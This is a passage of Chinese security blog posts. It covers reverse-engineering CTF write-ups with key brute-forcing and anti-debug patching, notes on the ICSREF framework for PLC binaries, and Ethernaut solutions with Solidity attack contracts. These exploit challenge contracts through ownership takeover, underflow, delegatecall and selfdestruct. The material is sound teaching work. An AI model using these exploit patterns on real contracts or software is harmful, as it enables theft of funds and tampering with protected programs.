for i in range(0, x):
    for j in range(0, y):
        rgb = rgbi[i * y + j]
        c.putpixel([i, j],(int(rgb[0],16), int(rgb[1],16), int(rgb[2],16)))
c.show()

得到答案GOT

Position

搜索关键字符串就能得到关键加密函数,偏移为1740,仔细分析这个函数。
第一部分规则:获取 name 输入,并判断输入的 name 长度等于 4

第二部分规则:4 个字母都要求不小于0x61,不大于0x7a

第三条规则:name 的 4 个字母每两个字母不能相等

第四条规则:获取序列号输入,序列号长度为0xb

第五条规则:序列号的第五位要为0x2d,即对应 ascii 为-,即决定了序列号形如xxxxx-xxxxx

接下来为一大段计算,以便后面进行 check,先不说了,后面用到再说。

第七条规则:name[0]&1+5 + (name[1]>>2)&1+1 = pass[0]

第八条规则:(name[0]>>3)&1+5 + (name[1]>>3)&1+1 = pass[1]

第九条规则:(name[0]>>1)&1+5 + (name[1]>>4)&1+1 = pass[2]

第十条规则:(name[0]>>2)&1+5 + name[1]&1+1 = pass[3]

第十一条规则:(name[0]>>4)&1+5 + (name[1]>>1)&1+1 = pass[4]

也就是说,name的前两个字母经过一通计算得到了序列号的前五位,同理后续就是name的后两个字母经过计算得到序列号的后五位。这里不截图了,列出公式如下:

name[0]&1+5 + (name[1]>>2)&1+1 = pass[0]
(name[0]>>3)&1+5 + (name[1]>>3)&1+1 = pass[1]
(name[0]>>1)&1+5 + (name[1]>>4)&1+1 = pass[2]
(name[0]>>2)&1+5 + name[1]&1+1 = pass[3]
(name[0]>>4)&1+5 + (name[1]>>1)&1+1 = pass[4]

name[3]&1+5 + (name[4]>>2)&1+1 = pass[6]
(name[3]>>3)&1+5 + (name[4]>>3)&1+1 = pass[7]
(name[3]>>1)&1+5 + (name[4]>>4)&1+1 = pass[8]
(name[3]>>2)&1+5 + name[4]&1+1 = pass[9]
(name[3]>>4)&1+5 + (name[4]>>1)&1+1 = pass[10]

那么根据 name 的范围0x61-0x7a我们可以直接进行爆破就好了。代码如下:


first=[]
second=[]
password="76876-77776"

for a in range(0x61,0x7b):
    for b in range(0x61,0x7b):
        if a==b: continue
        if ((a)&1)+5+((b>>2)&1)+1 != int(password[0]): continue
        if ((a>>3)&1)+5+((b>>3)&1)+1 != int(password[1]): continue
        if ((a>>1)&1)+5+((b>>4)&1)+1 != int(password[2]): continue
        if ((a>>2)&1)+5+((b)&1)+1 != int(password[3]): continue
        if ((a>>4)&1)+5+((b>>1)&1)+1 != int(password[4]): continue

        first.append(chr(a)+chr(b))

for a in range(0x61,0x7b):
    for b in range(0x61,0x7b):
        if a==b: continue
        if ((a)&1)+5+((b>>2)&1)+1 != int(password[6]): continue
        if ((a>>3)&1)+5+((b>>3)&1)+1 != int(password[7]): continue
        if ((a>>1)&1)+5+((b>>4)&1)+1 != int(password[8]): continue
        if ((a>>2)&1)+5+((b)&1)+1 != int(password[9]): continue
        if ((a>>4)&1)+5+((b>>1)&1)+1 != int(password[10]): continue

        second.append(chr(a)+chr(b))

print(first)
print(second)

截图如下:

根据提示简单组合一下,尝试之后得到 flag 是bump

Direct3D_FPS

一个类 CS 的射击小游戏,还是通过搜索参考字符串找到一个game clear

看到这个messageboxa,猜测byte_FA7028肯定就是最后 flag,跟过去一看发现是乱码,那就是中途对其进行计算才能得到 flag。看看调用,发现这个函数调用了:

这里进行了一个异或操作,然后得到最后的 flag。这里需要动态跟一下了。在偏移3400之后下断点。

经过一波调试大概得知了这个游戏的目的

游戏中出现的这些黄色小人,每个小人有一个编号,然后每个小人打32下之后消失,然后出发 flag 字串的异或操作,就是用已知的byte_FA7028字符串逐位异或i*4,其中i是小人的编号,从 0 开始,那么我们直接爆破就行了,把byte_FA7028开始的字符串 dump 出来直接逐位和4*i异或就可以了。

data=[0x43,0x6B,0x66,0x6B,0x62,0x75,0x6C,0x69,0x4C,0x45,0x5C,0x45,0x5F,0x5A,0x46,0x1C,0x07,0x25,0x25,0x29,0x70,0x17,0x34,0x39,0x01,0x16,0x49,0x4C,0x20,0x15,0x0B,0x0F,0xF7,0xEB,0xFA,0xE8,0xB0,0xFD,0xEB,0xBC,0xF4,0xCC,0xDA,0x9F,0xF5,0xF0,0xE8,0xCE,0xF0,0xA9,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x68,0x08,0x07,0xA8,0x13,0x8F,0x07,0xD8,0x74,0x8F,0x02,0x60,0x82,0x8F,0x02,0x01,0x00,0x00,0x00,0x57,0xB7,0x98,0xC3,0x00,0x00,0x00,0x00,0x57,0xB7,0x98,0xC3,0x57,0xB7,0x98,0x43,0x00,0x00,0x00,0x00,0x57,0xB7,0x98,0x43,0x57,0xB7,0x98,0xC3,0x00,0x00,0x00,0x00,0x57,0xB7,0x98,0xC3,0x57,0xB7,0x98,0xC3,0x00,0x00,0x00,0x00,0x57,0xB7,0x98,0x43,0x57,0xB7,0x98,0x43]
ans=""
for i in range(len(data)):
    ans+=chr(data[i]^(i*4))
print(ans)

ransomware

打开一看 pushad,猜测加壳了,esp 定律没用上,直接单步一边跳一边跟进就行了,最终找到入口:

但是进去之后一大堆无用的指令:

我们先用lordpe转储出来,importrec修复一下 IAT 表,然后把这些没用的指令替换掉

data = open('./Unpack_.exe','rb').read()
data = data.replace(b'\x60\x61\x90\x50\x58\x53\x5b',b'\x90\x90\x90\x90\x90\x90\x90')
open('./unpack_fuck.exe','wb').write(data)

放进 ida 后观察,主要加密如下:

就是个异或取反。至于sub_401000函数则没啥用,垃圾函数,混淆用的。
做到这儿就有点迷了。程序里面也没有 key 啊。后来才看到 readme,file 文件是从 exe 加密之后的,那么加密方式我们知道,再结合一些固定并已知的 pe 头比如This program cannot be run in DOS mode就能解出 key 了。

f=open("file",'rb')
data=f.read()
f2=open("run.exe",'rb')
data2=f2.read()
a=data[78:120]
b=data2[78:120]
ans=""
for i in range(len(a)):
    ans+=chr(a[i]^b[i]^0xff)
print(ans)

然后成功获得 key 为letsplaychess
那运行run.exe,输入这个 key,之后得到解密后的 file,运行即可得到 flag

Twist1

做了蛮久一个题。需要 32 位环境。
放进 ida 发现没啥东西那也就意味多半是加了壳,工具查不出来,那就手动跟一下把。
很快一通跟之后看到这样一个跳转

便进入了我们正常的程序逻辑。为了更好的后续分析,还是先脱壳。用lordPE转储之后,importREC修复一下 IAT 表,便可以正常运行了。这个题用了很多反调试手段(不过 od 的插件好像帮我绕过了,有好几个地方都没操作就过了)
然后开始跟进。核心分析函数:

跟进之后发现如下:

这里存在利用了setunhandledexceptionfilter进行反调试。
机制是当有调试器附加时,程序中产生异常,则错误会先传递给调试器从而报错。看到上图最后一条adc dl,byte ptr ds:[edx]的指令,这个就是异常的来源。nop 掉之后绕过反调试。
然后在函数0x401220中获取用户输入

获取输入之后来到了关键判断函数0x401240

然后获取ZwQueryInformationProcess函数,那后面自然又是ZwQueryInformationProcess的反调试手段了。

地址0x40727D-0x4072A1ProcessDebugPort(0x7),地址0x4072A8-0x4072C9ProcessDebugObjectHandle(0x1E)

ProcessDebugPort(0x7):进程处于调试状态,系统会为它分配一个调试端口,ProcessInformationClass参数的值为ProcessDebugPort(0x7)。若程序处于非调试状态,则变量dwDebugPort的值设置为 0,若进程处于调试状态,则值设置为0xFFFFFFF.
ProcessDebugObjectHandle(0x1E):调试进程时会生成调试对象,函数的第二个参数值为ProcessDebugObjectHandle,调用参数后就能获取调试对象句柄,进程处于调试状态时,调试对象句柄的值就存在,若进程处于非调试状态,则调试对象句柄值为NULL.

nop 掉这一整段或者在两个jnz的时候拒绝跳转就可以,然后执行jmp Unpack_.00407430

跟进 jmp 指令之后,又是ProcessDebugFlags(0x1F),同样的绕过方式

ProcessDebugFlags(0x1F):检测debug flag调试标志的值也可以判断是否处于被调试状态,函数 的第二个参数设置为processdebugflag(0x1)时,调用函数后通过第三个参数即可获的调试标志的值,若为 0,则进程处于被调试状态,若为 1,则进程处于非调试状态。

这个函数拷贝了输入要留意一下后续用到了

然后进去之后又是GetThreadContext的反调试,阻止一下下图这个jnz即可,比如改成jz或改一下ZF的值之类的都可以。

接下来进行一大堆比较,实际上实在对硬件断点进行反调试,逐个对比寄存器之类的。想办法阻止所有的 jnz 即可。

到此所有的反调试等手段都结束了,接下来就是程序的处理逻辑。不过逻辑可谓是相当凌乱,但是理清之后操作其实很简单,主要是程序跳过去跳过来的,最好是要边跟边记录,而且最好F7跟,不要错过了。这里就不再赘述了,最后跟进之后得到如下结果:

input[0]循环右移6位 = 0x49
input[1]^0x20=0x69
input[2]^0x77=0x35
input[3]^0x21=0x64
input[4]^0x46=0x8
input[5]循环左移4位 = 0x14

最中得到答案RIBENA

引言

2019年的安全届四大顶会之一NDSS录用论文前段时间发布了,其中有一篇关于工控逆向的论文,ICSREF: A Framework for Automated Reverse Engineering of Industrial Control Systems Binaries,论文最主要的工作就是开发了一个针对工控二进制文件的逆向框架——ICSREF

这里把论文的一些学习笔记和ICSREF框架的源码审计笔记做一个简单的记录。

文章针对的主要是codesys套件编译出来的PRG文件进行的逆向分析。codesys是一个独立于硬件的编程平台,是用于对PLC控制器的最强大的编程工具之一,支持IEC 61131-3的五种编程语言的标准。应用非常广泛,市场上超过250家公司都使用codesys,超过20%的PLC都可以采用codesys编程。codesys本质是一套工具,包括编程软件和设备runtime等等。codesys编译的时候会生成一个PRG文件,这就是文章研究的基础。

环境:用codesys+树莓派搭建模拟PLC环境

安装

首先是codesys,翻了下实验室的一堆PLC,都没有直接用codesys的,不过有个施耐德的PLC用的组态软件somachine应该是基于codesys的,因为打开somachine的时候,状态栏出现了一个codesys gateway的图标,和利时的autothink也是。不过还是想找使用原生codesys的。

麻神说codesys套件有树莓派的RTS,可以在树莓派上搞,然后就去扒拉了一下,这里记录下。
首先是上codesys官网下CODESYS Development System V3CODESYS Control for Raspberry Pi MC SL
找个win机器,把两个东西装好
然后点Update Raspberry Pi

然后就会弹出左边的框,这个时候,树莓派的用户名密码ip输一下,然后install就OK了。

可以在树莓派上看一下

确实是跑起来了。

编程

可以新建一个标准工程一个试试

选上树莓派。

然后自然是硬件组态步骤,这里由于树莓派就比较简单了
devide->通讯设置然后输入ip搜一下就ok了。

然后就可以去写一个简单的梯形图

就可以编译下发,之后调试->登录到即可在线操作、监控调试等等。

当然codesys还可以编写HMI,不过这里不多赘述。

PRG文件格式

不得不说作者的逆向功底确实是深厚啊。。。根据PRG文件介绍一下其主要的结构

PRG二进制文件的前0x50个字节构成包含各种信息的文件头。
这里列出一些重要的信息:

  • offset=0x04 : 此位置的值+0x08得到函数符号表的结尾
  • offset=0x20 : 此位置的值+0x18得到程序的入口点
  • offset=0x2c : 此位置的值+0x18得到程序的结尾
  • offset=0x44 : 此位置的值+0x18得到函数符号表的结尾

符号表结构

符号表结构的开头没有在header里面显示出来,而ICSREF在寻找的时候是通过可显字符匹配大于4字节的连续可显字符就作为符号表。如下图所示:

结构基本一样,函数名+\x00+cnt+\x00,实际运行时会根据后两个数据字节来计算调用相应函数所需的跳转偏移量。

I/O映射关系

PRG文件在PLC里面运行的时候,对于PLC具体的物理I/O会映射到存储器的某地址,比如在WAGO 750-881的PLC中,接受输入时会从0x28CFEC00 - 0x28CFF7F8读取,刷新输出时更新0x28CFD800 - 0x28CFE3F8的值。
而这个值我们可以通过解密CODESYS安装目录下的一个TRG文件可以获得。具体的解密方式是将TRG文件和一个固定的2048位块进行异或操作即可。

功能块结构(Block结构)

根据61131-3的标准,PLC的程序的组织单元,我们称作POU,对应一个block,所以存在很多函数block(功能块)。以西门子s7-300为例,就存在组织块(OB)、系统功能块(SFB)、系统功能(SFC)、系统数据块(SDB)、功能(FC)、功能块(FB)等。编程的时候是对块进行编程。

例如codesys默认的主块就是PLC_PRG,当然根据需要可以添加更多的功能块(POU)。

打个比方的话,就是写一个Python工程,有很多类,每个类是一个文件。这里就是每个功能是一个块。而一个块里面可能包含一个或者多个子程序。

这里要区分下子程序和函数,可自行维基百科关键字subroutine

那么在PRG二进制文件中,每一个子程序都有入口和出口程序,入口对应的二进制序列为\x0d\xc0\xa0\xe1\x00\x58\x2d\xe9\x0c\xb0\xa0\xe1,出口对应的二进制序列为\x00\xa8\x1b\xe9
入口程序翻译成汇编如下:

MOV R12, SP 
STMFD SP!, {R11, R12, LR} 
MOV R11, R12

出口程序翻译成汇编如下:

LDMDB R11, {R11, SP, PC}

通过这样就可以寻找出所有的子程序。然后因为是arm架构,所以可以直接进行反汇编。

全局变量初始化

第一个子程序紧跟在header后面,从0x50开始。这个功能块是个特殊的函数,可以视作全局的INIT函数,用于初始化VAR_GLOBAL类型的变量和函数。
在用61131-3系列语言编程的时候,和普通的编程语言不大一样,所有用到的变量需要在一个地方声明,当然你可以在每个POU声明局部变量。

而每个变量都有一个类型,其中全局变量就是VAR_GLOBAL类型,你可以在任意的POU里面使用。

第一个功能块后面有三个很短的子程序,再后面跟着一个子程序目的是调用SYSDEBUG子程序,用于对动态调试的支持。

静态链接库和用户功能块的导入

SYSDEBUG子程序后面紧跟的子程序用于导入静态链接功能块库,和用户编写的功能块库。
静态链接库功能块和用户自定义功能块由两个结构上相邻的子程序构成:第一个用于执行主要功能,第二个用于初始化内存。

所有的子程序的倒数第二个就是我们俗称的main程序,也就是之前提到的在codesys编程的时候默认为PLC_PRG的POU。这个程序也就是扫描周期的起点了。

函数调用

由于PLC对于实时性的要求,基本上PLC程序编译器编译后都不会存在运行时解析,即像是延迟加载绑定这种是不存在的,所以也就意味都是静态调用关系,所以很容提取出函数之间的调用关系,重构出CFG图。
PRG文件中从一个子程序到另一个子程序或动态链接函数的调用间接跳转的指令如下:

STR Ri, [SP,#-4]! 
STR LR, [SP,#-4]! 
LDR Ri, =SUB_OFFSET 
LDR Ri, [Ri] 
MOV LR, PC 
MOV PC, Ri 
NOP 
LDR LR, [SP],#4 
LDR Ri, [SP],#4

所以就能提取出某一个子程序中调用的所有函数的偏移。

源码阅读

源码结构(radare2除外):

icsref.py就是主文件,然后核心的代码在PRG_analyze.py里面,

icsref.py中的核心类icsrefPrompt代码使用了cmd2库,扩展自cmd库,基本用法没什么太大变化,用来进行命令行的解析和交互。通过do_*的函数就是实现对应的命令操作。

按顺序来走把,首先是console函数,

def console():
    prompt = icsrefPrompt()
    prompt.prompt = 'reversing@icsref:$ '

    # Load banner
    thisdir = os.path.split(__file__)[0]
    banner_f = os.path.join(thisdir, 'data', 'banner')
    __file__
    with open(banner_f, 'r') as f:
        lines = f.readlines()
    banner = ''
    for line in lines:
        banner += line

    sys.path.append(thisdir)
    for i in os.listdir(os.path.join(thisdir, 'modules')):
        if i.startswith('module_') and i.endswith('.py'):
            # Get name without extension
            mod_name = 'modules.' + os.path.splitext(i)[0]
            # Get module
            mod = importlib.import_module(mod_name)
            # Add the methods of mod (ONLY) to icsrefPrompt class as do_<something>
            name_func_tuples = inspect.getmembers(mod, inspect.isfunction)
            name_func_tuples = [t for t in name_func_tuples if inspect.getmodule(t[1]) == mod]
            for fun in name_func_tuples:
                setattr(icsrefPrompt, 'do_&#123;&#125;'.format(fun[0]), fun[1])
    
    # Start cmd module
    prompt.cmdloop(banner)
if __name__ == '__main__':
    console()

主要是实例化一个icsrefPrompt类,然后把modules目录下的模块全部注册进来,以do_*加入命令行操作中。
然后是icsrefPrompt类:

class icsrefPrompt(Cmd):
    """
    cmd2 prompt class for the interactive console
    """
    def __init__(self):
        Cmd.__init__(self, use_ipython=True)

    def do_load(self, filename):

    def do_analyze(self, filename):

    def do_save(self, filename):

继承自cmd2库,用于处理命令行交互。实现了三个操作loadanalyzesave,其他操作都在modules目录,由之前的console函数初始化时添加进来。

  • load:主要是加载.dat文件,这个文件是analyze分析的结果保存成的文件,通过dill库将结果反序列化存储的,dill库是一个扩展自pickle的模块,这里不赘述。然后还原关键变量self.prg,本质是个Program类,后面会详细介绍这个类。
  • analyze:核心,实例化一个Program类来解析PRG文件,将结果保存到result目录下,存成.dat格式。
  • save:analyze之后,将结果换个名字保存。

接下来看看PRG_analysis.py文件中的关键类之一program类。

class Program():
    def __init__(self, path):
            """
            init function creates the Program object and does the analyses
            """
            # Program path
            self.path = path
    
            # Program name
            self.name = os.path.splitext(os.path.basename(self.path))[0]
    
            # Program hexdump
            self.hexdump = self.__read_file()
            print('DONE: Hexdump generation')   
    
            # Analyze program header
            # ROM:00000004: End of strings
            # ROM:00000020: Entry point (OUTRO?) + 0x18 (==24)
            self.program_start = struct.unpack('I', self.hexdump[0x20:0x20+4])[0] + 24
            # ROM:0000002C: End of OUTRO? + 0x18 (==24)
            self.program_end = struct.unpack('I', self.hexdump[0x2C:0x2C+4])[0] + 24
            # ROM:00000044: End of dynamic libs (Before SYSDBGHANDLER)
            self.dynlib_end = struct.unpack('I', self.hexdump[0x44:0x44+4])[0]
    
            print('DONE: Header analysis')
    
            # Program strings
            self.strings = self.__strings()
            print('DONE: String analysis')
    
            # I/O analysis from trg file
            self.__find_io()
            print('DONE: I/O analysis')
    
            # Function Boundaries
            self.FunctionBoundaries = self.__find_blocks()
            print('DONE: Find function boundaries')
    
            # Program functions
            self.Functions = []
            
            self.__find_functions()
            print('DONE: Function disassembly')
            
            # Find all static and dynamic libraries and their offsets
            # Dynamic libraries
            self.dynlibs_dict = self.__find_dynlibs()
            print('DONE: Find dynamic calls')
    
            # Static libraries
            self.statlibs_dict = self.__find_statlibs()
            print('DONE: Find static calls')
            
            # All libraries: Add dynamic and static calls
            self.libs_dict = self.dynlibs_dict.copy()
            self.libs_dict.update(self.statlibs_dict)
            
            # Find library calls for each function
            self.__find_libcalls()
            print('DONE: Call offsets renaming')
    
            # Save object instance in file
            self.__save_object()
    ....
    ....
    ....
    ....

该类的主要作用就是根据PRG文件的结构对其进行解析,从上面init函数就可以看出来,主要进行提取header、提取io映射关系、寻找子程序、寻找子程序调用关系、寻找库,具体的方法在上一节基本都已经解释了。

此外PRG_analysis.py文件中还有另一个Function类,

class Function():
    def __init__(self, path, start, stop, hexdump, disasm):
        """
        Function initialization
        """
        # Path
        self.path = path
        # Function start offset
        self.start = start
        self.offset = start
        # Function name. Convention: sub_<offset>
        self.name = 'sub_&#123;:x&#125;'.format(self.start)
        # Function stop offset
        self.stop = stop
        # Function length in bytes
        self.length = stop - start
        # Hexdump of particular function
        self.hexdump = hexdump
        # Disassembly listing of particular function
        self.disasm = disasm
        # Create string with opcode sequences for hash matching
        op_str = ''
        for line in self.disasm:
            op = line[43:].split(' ')[0]
            # Discard data
            if len(op) < 8:
                op_str += line[43:].split(' ')[0]
        # Function opcodes SHA256 hash
        self.hash = hashlib.sha256(op_str).hexdigest()
        # Initialize list of calls from function. Gets populated later
        self.calls = &#123;&#125;

就是一个function结构体,每一个从PRG文件提取出的子程序对应一个function类,主要包括偏移信息,反汇编代码,调用的函数等信息。

然后是modules下的各个模块信息:

  • module_analytics.py提供一个analytics命令,用于打印函数调用的统计,每个子程序被调用的次数,以及每个子程序调用了哪些函数。
  • module_cleanup.py提供一个cleanup命令,用于清楚result下面的分析结果文件。
  • module_graphbuilder.py提供一个graphbuilder命令,用于生成程序调用关系图,然后以svg格式保存在result文件夹下面。
  • module_hashmatch.py,提供一个hashmatch命令,作者把很多公开的常用的功能块和子程序做了签名,形成一个库,然后该命令可以匹配库。
  • module_pidargs.py提供一个pidargs命令,仅针对PID功能块,该命令使用angr重构堆栈,然后提取处PID的功能块的函数参数。
    该功能块如下:

其实也就是一个概念验证,毕竟是论文的产物不是工程化的东西,作者用该功能块来验证他能够提取出函数参数,那么对于其他函数也就是本质相同的重复性工作。

很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。

之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是思维没打开。不知道有师傅有想法没有可以交流一下。

学习以太坊的时候把 zeppelin ethernaut 的题目刷了一下,不过那天一看又多了两个题目,干脆写个博客算了。

hello ethernaut

教程关没啥好说的,跟着提示一步步搞就行了

await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')

help可以看帮助,contract就是你申请创建的合约节点的对象。

Fallback

说明 fallback 函数的作用,当然这里说的fallback函数不是本关 Fallback 合约的构造方法。
fallback 函数文档传送门
这一关的目的是要成为合约节点的 owner 以及把合约节点上 ETHER 全部转走。
看看合约内容

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable &#123;

  mapping(address => uint) public contributions;

  function Fallback() public &#123;
    contributions[msg.sender] = 1000 * (1 ether);
  &#125;

  function contribute() public payable &#123;
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) &#123;
      owner = msg.sender;
    &#125;
  &#125;

  function getContribution() public view returns (uint) &#123;
    return contributions[msg.sender];
  &#125;

  function withdraw() public onlyOwner &#123;
    owner.transfer(this.balance);
  &#125;

  function() payable public &#123;
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  &#125;
&#125;

成为 owner 有两种办法

  • 通过contribute向它转1000 ether,而且每次转账要小于0.001 ether,显然不行。
  • 通过 fallback 函数只要向它转账就行了。

为了满足 fallback 的 contributions[msg.sender] > 0要先调用一次 contribute 函数

如下:

await contract.contribute(&#123;value: 1&#125;)
await contract.sendTransaction(&#123;value: 1&#125;)
// 上两步成为了 owner,下一步把合约的钱转走
await contract.withdraw()

然后 submit 就通过了。

Fallout

这一关的目的也是成为 owner,源码如下:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable &#123;

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable &#123;
    owner = msg.sender;
    allocations[owner] = msg.value;
  &#125;

  function allocate() public payable &#123;
    allocations[msg.sender] += msg.value;
  &#125;

  function sendAllocation(address allocator) public &#123;
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  &#125;

  function collectAllocations() public onlyOwner &#123;
    msg.sender.transfer(this.balance);
  &#125;

  function allocatorBalance(address allocator) public view returns (uint) &#123;
    return allocations[allocator];
  &#125;
&#125;

这一关就有点无聊了,注意函数名Fal1out(),不是Fallout(),所以不是构造函数,直接调用就可以了

await contract.Fal1out(&#123;"value":1&#125;)

Coin Flip

胜利条件是连续赢 10 次硬币翻转就行了。

pragma solidity ^0.4.18;

contract CoinFlip &#123;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public &#123;
    consecutiveWins = 0;
  &#125;

  function flip(bool _guess) public returns (bool) &#123;
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) &#123;
      revert();
    &#125;

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) &#123;
      consecutiveWins++;
      return true;
    &#125; else &#123;
      consecutiveWins = 0;
      return false;
    &#125;
  &#125;
&#125;

可以看到这里正反面由上一个 block 的 hash 与一个固定值计算得出,那这种随机是不安全的,我们可以部署一个attack.sol,提示也提示了用 remix。

pragma solidity ^0.4.18;

contract CoinFlip &#123;
  function CoinFlip() public &#123;&#125;
  function flip(bool _guess) public returns (bool) &#123;&#125;
&#125;

contract attack&#123;
    address game;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    constructor(address param)&#123;
        game=param;
    &#125;
    
    function go() public&#123;
         uint256 blockValue = uint256(block.blockhash(block.number-1));
         uint256 coinFlip = blockValue / FACTOR;
         bool side = (coinFlip==1);
         CoinFlip a = CoinFlip(game);
         a.flip(side);
    &#125;
&#125;

运行 10 次 go 就可以了。生成可靠的随机数可能很棘手,目前还没有生成它们的本地方法,因为在智能合约中使用的所有内容都是公开可见的,包括标记为私有的局部变量和状态变量。

telephone

目的也是要成为合约的所有者。

pragma solidity ^0.4.18;

contract Telephone &#123;

  address public owner;

  function Telephone() public &#123;
    owner = msg.sender;
  &#125;

  function changeOwner(address _owner) public &#123;
    if (tx.origin != msg.sender) &#123;
      owner = _owner;
    &#125;
  &#125;
&#125;

这里区分一下tx.originmsg.sender
给定这样一个场景如:用户通过合约 A 调合约 B.
此时

  • 对于合约 A :tx.originmsg.sender都是用户。
  • 对于合约 B :tx.origin 是用户 . msg.sender是合约 A

origin ,字面意思根源,起源。

所以,这里我们部署一个合约内容如下

pragma solidity ^0.4.18;

contract Telephone &#123;
  function Telephone() public &#123;&#125;
  function changeOwner(address _owner) public &#123;&#125;
&#125;

contract attack&#123;
    address target;
    constructor(address param)&#123;
        target = param;
    &#125;
    function go()&#123;
        Telephone a = Telephone(target);
        a.changeOwner(msg.sender);
    &#125;
&#125;

然后攻击者调用 go 函数就可以了。

token

这个就是经典的整形溢出的问题了。

pragma solidity ^0.4.18;

contract Token &#123;

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public &#123;
    balances[msg.sender] = totalSupply = _initialSupply;
  &#125;

  function transfer(address _to, uint _value) public returns (bool) &#123;
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  &#125;

  function balanceOf(address _owner) public view returns (uint balance) &#123;
    return balances[_owner];
  &#125;
&#125;

这里原理是利用输入的 value 大于 20,导致减完之后就会为负,溢出成为一个很大的正整数就可以了。

Delegation

这个题有点疑问,不过我只是觉得我的方法没错并且本地也可以成功,应该哪儿有点问题。
我自己测试代码如下:

pragma solidity ^0.4.18;
contract Delegate &#123;

  address public owner;

  function Delegate(address _owner) public &#123;
    owner = _owner;
  &#125;

  function pwn() public &#123;
    owner = msg.sender;
  &#125;
&#125;

contract Delegation &#123;

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public &#123;
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  &#125;

  function() public &#123;
    if(delegate.delegatecall(msg.data)) &#123;
      this;
    &#125;
  &#125;
&#125;
contract attack&#123;
    function go(address param)&#123;
        param.call(bytes4(keccak256("pwn()")));
    &#125;
    
&#125;

我依次部署DelegateDelegation合约,然后再部署 attack 合约在地址 A,然后调用 go 函数传入Delegation合约的地址,能够成功修改其 owner,但是却无法修改题目服务器的 owner。

这里其实主要思路就是 fallback 的触发条件:

  • 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
  • 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时fallback需要带有payable 标记。否则,合约就会拒绝这 Ether。

所以直接向实例的地址发起调用一个 pwn 函数的交易就可以了,然后就会自动进入到 fallback 函数体。这里调用需要用method id(函数选择器),比如 pwn 函数的method id就是keccak256("pwn()"))取前四个字节,在 web3 中 sha3 就是 keccak256,所以是web3.sha3("pwn()").substr(0,10)
所以最后结果就是

data=web3.sha3("pwn()").slice(0,10);
await web3.eth.sendTransaction(&#123;from:player,to:instance,data:data,gas: 1111111&#125;,function(x,y)&#123;console.error(y)&#125;);

Force

这里我们在上一关提到了关于接受转账的话要 fallback 函数为 payable,否则会拒绝收到的转账,但是有一个特例是无法拒绝其他合约通过调用selfdestruct自毁之后的资金转移。

构造一个:

pragma solidity ^0.4.18;
contract attack&#123;
    function () payable&#123;
        
    &#125;
    function go(address param)&#123;
        selfdestruct(param);
    &#125;
&#125;

然后部署完了给这个合约转点 ETHER,之后调用 go 函数即可。

Vault

参考链接:

https://solidity.readthedocs.io/en/v0.4.21/contracts.html#visibility-and-getters
https://hackernoon.com/your-private-solidity-variable-is-not-private-save-it-before-it-becomes-public-52a723f29f5e

题目代码如下:

pragma solidity ^0.4.18;

contract Vault &#123;
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public &#123;
    locked = true;
    password = _password;
  &#125;

  function unlock(bytes32 _password) public &#123;
    if (password == _password) &#123;
      locked = false;
    &#125;
  &#125;

private 变量不能被别的合约访问,但是区块链上的信息是完全公开的,可以通过 web3 的getStorage函数获取到。
1 表示目标合约的第二个变量

web3.eth.getStorageAt(address,1,function(x,y)&#123;console.info(y);&#125;);

之后 unlock 就可以了。

King

题目代码如下:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable &#123;

  address public king;
  uint public prize;

  function King() public payable &#123;
    king = msg.sender;
    prize = msg.value;
  &#125;

  function() external payable &#123;
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  &#125;
&#125;

开始还以为是一定要选手账户成为 king,后来才知道搞个别的账户成为 king 也可以,只需要阻止level address成为 king 就可以了。
那就写个合约,不接受最后的 transfer 就可以了,这样就会导致 contract 合约上的 tranfer 异常从而执行中断。要想不接受转账就很简单了,不写带 payable 的 fallback 函数、fallback 里面利用 require() 抛出异常或者 revert() 直接返回就可以了。

pragma solidity ^0.4.18;

contract attack&#123;
    constructor(address param) public payable&#123;
        param.call.gas(10000000).value(msg.value)();
    &#125;
&#125;

Re-entrancy (X)

题目代码如下:

pragma solidity ^0.4.18;

contract Reentrance &#123;

  mapping(address => uint) public balances;
                                            
  function donate(address _to) public payable &#123;
    balances[_to] += msg.value;
  &#125;

